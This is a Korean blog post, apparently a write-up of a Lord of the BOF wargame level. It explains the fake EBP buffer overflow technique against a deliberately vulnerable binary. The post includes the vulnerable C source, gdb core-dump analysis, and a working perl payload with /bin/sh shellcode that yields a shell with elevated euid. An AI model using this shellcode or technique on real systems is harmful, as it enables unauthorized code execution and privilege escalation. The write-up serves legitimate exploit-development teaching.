2012. 4. 17. 14:44


FAKE EBP에 대해서 기술해 보도록 하겠다. 아주 특이한 케이스.. 사실 FAKE EBP는 공격 범위가 상대적으로 제한 적인 환경이다. 


레드햇 6 -> 레드햇 9으로 넘어 가면서 스택의 주소값이 random(랜덤 스택) 해지고 Fedora3 로 넘어가면서 스택(DEP)에 실행 권한이 없졌었다. 하지만 이 두가지를 전부 넘길수 있는 RTL 이라는 쉽고 편한 공격이 있기 때문에 fake ebp 같은경우엔 공격타겟이 잘 되지 않는 방향이다.  (RTL 을 그냥 쓰면되기에..)


하지만 개념적으로는 이해하기가 무척 좋다 SPO 공격 기법에서 ebp를 다루듯 SFP 에대한 instrument 는 활용도가 높기 때문이다. 뿐만 아니라 나중엔 ROP개념으로 체인을 걸어주기 위한 주소개념잡기에 도움이 많이 되는 부분이라 생각된다. 


최근 LOB문서 정리하는 일이 생기게 되었는데 겸사겸사 블로깅 해본다.


아래의 경우는 오버플로우 되는 지점의 주소값을 강제로 스택과 라이브러리 주소를 못쓰게 막아 놓았다. 때문에 코드의 흐름을 바꾸어 공격하는 FAKE_EBP공격을 사용해야 한다.


/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/

 

#include <stdio.h>

#include <stdlib.h>

 

main(int argc, char *argv[])

{

        char buffer[40];

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }

        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}





스택(\bf)도 사용 할 수 없고, 라이브러리(\xc0)도 사용 할 수 없다. 이럴 땐 12번 문제와 비슷하게 ebp를 속여서 공격하는 방법이 있다.

Leave를 한번 더 실행 시키는 기계어 \xc3\xc9 가 있는 주소값을 찾아 ret에 덮으면 leave가 한번더 실행되면서 원래의 ebp fake_ebp로 바꿀 수 있다.

Fake_ebp+4 한주소에                               [SFP]                   [ RET ]

&(buffer+4) + NOP +SHELLCODE         &(BUFFER-4)             c3c9 = leave +RET

                                                                                                  [buffer-4] -> buffer+4 =실행

 

 거꾸로 분석을 들어가면 편하다.  RET 에 들어가 있는 코드는 c3c9 의 주소이므로 leave ret을 한번 더 실행 시킨다. 이때 eip POP 하게 되면 4바이트를 소모하므로 buffer-4를 입력해 놓는 것이다이렇게 실행된 leave buffer 부분에는 있는 값을 EBP의 주소 값으로 참조 한다.

buffer의 처음 4 바이트는 buffer+4의 주소의 주소 값이 설정 되어 있으므로 buffer+4의 주소값을 EBP로 잡고 이 부분을 실행하게 된다. 





[assassin@localhost assassin]$ /bin/bash2

[assassin@localhost assassin]$ ./zombie_assassie `perl -e 'print "bbbb","\x90"x36,"cccc","dddd"'`

bbbbccccdddd

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core

GNU gdb 19991004

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

Core was generated by `./zombie_assassie bbbbccccdddd'.

Program terminated with signal 11, Segmentation fault.

#0  0x64646464 in ?? ()

(gdb) x/30x $esp-64

0xbffffaa0:     0xbffffad8      0x080484dc      0x0804857e      0xbffffab0

0xbffffab0:     0x62626262      0x90909090      0x90909090      0x90909090

0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffad0:     0x90909090      0x90909090      0x63636363      0x64646464

0xbffffae0:     0x00000002      0xbffffb24      0xbffffb30      0x40013868

0xbffffaf0:     0x00000002      0x08048390      0x00000000      0x080483b1

0xbffffb00:     0x08048440      0x00000002      0xbffffb24      0x080482e4

0xbffffb10:     0x0804851c      0x4000ae60

(gdb) print/x 0xbffffab0 - 0x4

$1 = 0xbffffaac

(gdb) print/x 0xbffffab0 - 0x+4

Invalid number "0x".

(gdb) print/x 0xbffffab0 + 0x4

$2 = 0xbffffab4

(gdb) quit

[assassin@localhost assassin]$ ./zombie_assassie  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ exit

exit

[assassin@localhost assassin]$ ./zombie_assassin  `perl -e 'print "\xb4\xfa\xff\xbf","\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80","a"x11,"\xac\xfa\xff\xbf","\x04\x84\x04\x08"'`

´úÿ¿1Ò‰ÐRh//shh/bin‰ãRS‰á°

                          Í€aaaaaaaaaaa¬úÿ¿„

bash$ id

uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)

bash$
 






Posted by k1rha